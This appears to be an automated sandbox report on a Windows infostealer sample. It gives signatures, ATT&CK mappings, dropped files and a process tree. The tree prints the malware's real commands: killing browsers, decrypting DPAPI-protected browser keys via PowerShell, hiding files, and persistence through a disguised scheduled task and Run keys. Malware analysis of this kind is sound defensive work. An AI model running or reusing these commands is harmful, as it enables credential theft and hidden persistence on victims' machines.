Overview

overview

10

Static

static

10

2026-05-11...er.exe

windows10-2004-x64

9

2026-05-11...er.exe

windows11-21h2-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    92s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    11/05/2026, 03:50

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe
  • Size 80.0MB
  • Sample260511-eeah3aet3l
  • SHA256 eb3158cb96fef3760693eadfeea3e170bf165355abc9f37009318699ae7737a0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasionexecutionpersistencespywarestealer

Malware Config

Signatures

  • Enumerates VirtualBox DLL files 2 TTPs 2 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 4 IoCs
    defense_evasion
  • Looks for VirtualBox executables on disk 2 TTPs 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Looks for VMWare drivers on disk 2 TTPs 3 IoCs
    defense_evasion
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 10 IoCs
    defense_evasion
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 8 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 10 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe"
    1⤵
    • Enumerates VirtualBox DLL files
    • Looks for VirtualBox drivers on disk
    • Looks for VirtualBox executables on disk
    • Drops file in Drivers directory
    • Looks for VMWare drivers on disk
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Windows\system32\cmd.exe
      "cmd" /C chcp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2428
      • C:\Windows\system32\chcp.com
        chcp
        3⤵
          PID:3964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\priv_1778471467886.ps1
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2412
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rsvkdd5a\rsvkdd5a.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2804
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES57DF.tmp" "c:\Users\Admin\AppData\Local\Temp\rsvkdd5a\CSC7C446A9C6AFA4BF6BDF769DACC55E3E3.TMP"
            4⤵
              PID:3428
        • C:\Windows\system32\cmd.exe
          "cmd" /C systeminfo
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3180
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:1504
        • C:\Windows\system32\cmd.exe
          "cmd" /C "fsutil volume diskfree C:"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:768
          • C:\Windows\system32\fsutil.exe
            fsutil volume diskfree C:
            3⤵
              PID:3384
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /T /IM chrome.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4044
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /T /IM brave.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3276
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /T /IM msedge.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3424
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /T /IM vivaldi.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3068
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /T /IM opera.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:880
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /T /IM opera.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:132
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAtVelOZ0FfEipTguugZL9HhAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAE1gnANp76E1XZM+pJSRB53AG58No3uJt7DEi5vlKg4lAAAAAA6AAAAAAgAAIAAAABWe+xvMOSCAJQ7lW49Oflyvm58GpchNfB6a6OwJpd5mMAAAALJH9UjDd/VtsM0PuQasACVof3dgIR4hjsn+W7oYZNjIMjVO2A+7EndETey5rWn+o0AAAADkBd3WhMJKDgZ5OPhzKUh5wNhO7XJ6+CalSkkdM+S/5VJyba7TYNlBOXbTd+rHvU+yGJYUaDR9uZxvpYF02hEC'); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4728
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\ke_1778471476258.ps1
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4648
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yvhemz0n\yvhemz0n.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1356
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7877.tmp" "c:\Users\Admin\AppData\Local\Temp\yvhemz0n\CSCD75A2BCC08A415186C2D872FC875215.TMP"
                4⤵
                  PID:4536
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAtVelOZ0FfEipTguugZL9HhAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAu7aagpPjHVqmz6rUqij0siREuHNy3/ZS2AabBMNLJc8AAAAADoAAAAACAAAgAAAAE2T8n/f0lWeRSGFhj4t9m3qzfM2az9wvTgD1w3qfvRYwAAAAjIJVEROYCnurHD38b2l9cycuczKFZYtHAVutOWXHdsZsG2dsune17wKiShb1jNAGQAAAAO0971wd37twKGKtaJl5cILgLWrOWySrZZ7ZIYUIYSTyM9Wp9gTX5CotsT11WDyNdvOAiubWusnFd28b9PieOyY='); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2448
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAtVelOZ0FfEipTguugZL9HhAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAu7aagpPjHVqmz6rUqij0siREuHNy3/ZS2AabBMNLJc8AAAAADoAAAAACAAAgAAAAE2T8n/f0lWeRSGFhj4t9m3qzfM2az9wvTgD1w3qfvRYwAAAAjIJVEROYCnurHD38b2l9cycuczKFZYtHAVutOWXHdsZsG2dsune17wKiShb1jNAGQAAAAO0971wd37twKGKtaJl5cILgLWrOWySrZZ7ZIYUIYSTyM9Wp9gTX5CotsT11WDyNdvOAiubWusnFd28b9PieOyY='); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4092
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /T /IM firefox.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4428
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /T /IM librewolf.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4216
            • C:\Windows\system32\cmd.exe
              "cmd" /C "ipconfig /all"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2792
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:2848
            • C:\Windows\system32\cmd.exe
              "cmd" /C "ipconfig /displaydns"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4252
              • C:\Windows\system32\ipconfig.exe
                ipconfig /displaydns
                3⤵
                • Gathers network information
                PID:4388
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAtVelOZ0FfEipTguugZL9HhAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAE1gnANp76E1XZM+pJSRB53AG58No3uJt7DEi5vlKg4lAAAAAA6AAAAAAgAAIAAAABWe+xvMOSCAJQ7lW49Oflyvm58GpchNfB6a6OwJpd5mMAAAALJH9UjDd/VtsM0PuQasACVof3dgIR4hjsn+W7oYZNjIMjVO2A+7EndETey5rWn+o0AAAADkBd3WhMJKDgZ5OPhzKUh5wNhO7XJ6+CalSkkdM+S/5VJyba7TYNlBOXbTd+rHvU+yGJYUaDR9uZxvpYF02hEC'); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3984
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAtVelOZ0FfEipTguugZL9HhAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAu7aagpPjHVqmz6rUqij0siREuHNy3/ZS2AabBMNLJc8AAAAADoAAAAACAAAgAAAAE2T8n/f0lWeRSGFhj4t9m3qzfM2az9wvTgD1w3qfvRYwAAAAjIJVEROYCnurHD38b2l9cycuczKFZYtHAVutOWXHdsZsG2dsune17wKiShb1jNAGQAAAAO0971wd37twKGKtaJl5cILgLWrOWySrZZ7ZIYUIYSTyM9Wp9gTX5CotsT11WDyNdvOAiubWusnFd28b9PieOyY='); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4540
            • C:\Windows\system32\cmd.exe
              "cmd" /C "sc query type= service state= all"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4044
              • C:\Windows\system32\sc.exe
                sc query type= service state= all
                3⤵
                • Launches sc.exe
                PID:3784
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\ProgramData\Microsoft\WindowsUpdate\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:1200
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\ProgramData\Microsoft\WindowsUpdate\"
                3⤵
                • Views/modifies file attributes
                PID:1324
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:3236
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                3⤵
                • Views/modifies file attributes
                PID:3800
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\Windows\System32\drivers\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:3728
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\Windows\System32\drivers\"
                3⤵
                • Views/modifies file attributes
                PID:232
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\Windows\System32\drivers\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:1596
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\Windows\System32\drivers\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                3⤵
                • Views/modifies file attributes
                PID:4472
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:4724
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
                3⤵
                • Views/modifies file attributes
                PID:1632
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:4412
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                3⤵
                • Views/modifies file attributes
                PID:688
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\ProgramData\WindowsService\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:1572
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\ProgramData\WindowsService\"
                3⤵
                • Views/modifies file attributes
                PID:2820
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\ProgramData\WindowsService\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:4256
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\ProgramData\WindowsService\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                3⤵
                • Views/modifies file attributes
                PID:3448
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:992
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\"
                3⤵
                • Views/modifies file attributes
                PID:5008
            • C:\Windows\system32\cmd.exe
              "cmd" /C "attrib +h +s \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:1948
              • C:\Windows\system32\attrib.exe
                attrib +h +s \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                3⤵
                • Views/modifies file attributes
                PID:1908
            • C:\Windows\system32\cmd.exe
              "cmd" /C "schtasks /create /tn \"MicrosoftEdgeUpdateService\" /tr \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /sc onlogon /rl highest /f"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3200
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn \"MicrosoftEdgeUpdateService\" /tr \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /sc onlogon /rl highest /f
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3092
            • C:\Windows\system32\cmd.exe
              "cmd" /C "reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsSecurityHealth\" /t REG_SZ /d \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /f"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4260
              • C:\Windows\system32\reg.exe
                reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsSecurityHealth\" /t REG_SZ /d \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /f
                3⤵
                  PID:1348
              • C:\Windows\system32\cmd.exe
                "cmd" /C "reg add \"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsDefenderUpdate\" /t REG_SZ /d \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /f"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4776
                • C:\Windows\system32\reg.exe
                  reg add \"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsDefenderUpdate\" /t REG_SZ /d \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /f
                  3⤵
                    PID:2612

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    2
                    T1059

                    PowerShell

                    1
                    T1059.001

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Persistence

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Privilege Escalation

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Defense Evasion

                    Hide Artifacts

                    2
                    T1564

                    Hidden Files and Directories

                    2
                    T1564.001

                    Obfuscated Files or Information

                    1
                    T1027

                    Command Obfuscation

                    1
                    T1027.010

                    Virtualization/Sandbox Evasion

                    4
                    T1497

                    Credential Access

                    Credentials from Password Stores

                    1
                    T1555

                    Credentials from Web Browsers

                    1
                    T1555.003

                    Unsecured Credentials

                    1
                    T1552

                    Credentials In Files

                    1
                    T1552.001

                    Discovery

                    File and Directory Discovery

                    4
                    T1083

                    Query Registry

                    1
                    T1012

                    System Information Discovery

                    2
                    T1082

                    Virtualization/Sandbox Evasion

                    4
                    T1497

                    Lateral Movement

                    Collection

                    Data from Local System

                    1
                    T1005

                    Command and Control

                    Web Service

                    1
                    T1102

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    powershell.exe.log
                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 9a56ed6318e25ac256e3dd218d0b131b793bff8a2c09fda3b9b2ab0bb858fb42
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 43e92a9b490e05035cbbb96c5b2a68c11d42f0b35ff19a70815984bc3aa8d8bc
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 1081c6b484e3ce0572ea539029bc598ee7870cf099c5585bd52fbeee220c56b7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 833c6348ccf6885385f25f0797b770b390f29bf4120053b7975aef0fbf7fd62c
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 19af31e481e6b60255d99ed3d007460e9904dc798395ef3978d253149c66c3c9
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 be60794cd4d3de99c3bab9a58e2b4ddcc88c1e3fd6075040a74bc26943d63da6
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    RES57DF.tmp
                    • Path C:\Users\Admin\AppData\Local\Temp\RES57DF.tmp
                    • Size 1KB
                    • SHA256 71a152be69d6ff7393f43e0489b754a7572ef955041b3f7b772f77936f8ee9e6
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    RES7877.tmp
                    • Path C:\Users\Admin\AppData\Local\Temp\RES7877.tmp
                    • Size 1KB
                    • SHA256 0f4c9dcb947c20bad2b9c220f102d22784beb7bf07d27c9a190d4b93744fda1e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    __PSScriptPolicyTest_agwvbhin.xxk.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_agwvbhin.xxk.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    ke_1778471476258.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\ke_1778471476258.ps1
                    • Size 6KB
                    • SHA256 5df5e683046199f678967c516f702591fd145655556b66d0a282602ddce3b4c7
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    priv_1778471467886.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\priv_1778471467886.ps1
                    • Size 1KB
                    • SHA256 196c9e8913e7e441b9d4723e6697b5ba2e7779062071e9b62f81649ccc1eddf6
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    rsvkdd5a.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\rsvkdd5a\rsvkdd5a.dll
                    • Size 4KB
                    • SHA256 f118de23dbce5fbb4faa4062d5b46ad7928305b2d08183efab5c05f9983f6fe4
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    cookies.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\winsvc_1778471471905\chrome\default\cookies.txt
                    • Size 263B
                    • SHA256 f2972440869c7d9b939fbe30846a646c875a6c2fc66c6f853e9613b884ad4e58
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    yvhemz0n.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\yvhemz0n\yvhemz0n.dll
                    • Size 5KB
                    • SHA256 1c8254113c7426a3c26131e780f521d4b37023bb9f329886fa22ee84269b36dc
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    CSC7C446A9C6AFA4BF6BDF769DACC55E3E3.TMP
                    • Path \??\c:\Users\Admin\AppData\Local\Temp\rsvkdd5a\CSC7C446A9C6AFA4BF6BDF769DACC55E3E3.TMP
                    • Size 652B
                    • SHA256 edd10e9186ae1ad7a96d2b7c84bd4784f0231b0afd13738a015845fbe46c41b0
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    rsvkdd5a.0.cs
                    • Path \??\c:\Users\Admin\AppData\Local\Temp\rsvkdd5a\rsvkdd5a.0.cs
                    • Size 1KB
                    • SHA256 54b820cfb35f02d4184f54185661c6674d8c784b47cdad1af601c9a3f4a6ee39
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    rsvkdd5a.cmdline
                    • Path \??\c:\Users\Admin\AppData\Local\Temp\rsvkdd5a\rsvkdd5a.cmdline
                    • Size 369B
                    • SHA256 e1af7b069e467030d4365d7065e3af88c902c49ea574cb731e78fc06976f75ed
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    CSCD75A2BCC08A415186C2D872FC875215.TMP
                    • Path \??\c:\Users\Admin\AppData\Local\Temp\yvhemz0n\CSCD75A2BCC08A415186C2D872FC875215.TMP
                    • Size 652B
                    • SHA256 f5b8839b7c976ccde03aee59c2f13749ff0992e3c729fc24112f56e144ae55db
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    yvhemz0n.0.cs
                    • Path \??\c:\Users\Admin\AppData\Local\Temp\yvhemz0n\yvhemz0n.0.cs
                    • Size 3KB
                    • SHA256 fef616539d744b2571db07f236d23fec963bd8ebb1f0c892da4763aae35e75a7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    yvhemz0n.cmdline
                    • Path \??\c:\Users\Admin\AppData\Local\Temp\yvhemz0n\yvhemz0n.cmdline
                    • Size 369B
                    • SHA256 a85225864c655cd48739e6769d016ca3b7f94d49b355fdfbda7f19695cfbcb8e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    memory/1356-62-0x000002271DB80000-0x000002271DB88000-memory.dmp
                    Download

                    memory/2412-8-0x000001A2FCEF0000-0x000001A2FCF12000-memory.dmp
                    Download

                    memory/2412-1-0x000001A2FCF70000-0x000001A2FCF80000-memory.dmp
                    Download

                    memory/2412-2-0x000001A2FCF70000-0x000001A2FCF80000-memory.dmp
                    Download

                    memory/2412-25-0x000001A2FCF50000-0x000001A2FCF58000-memory.dmp
                    Download

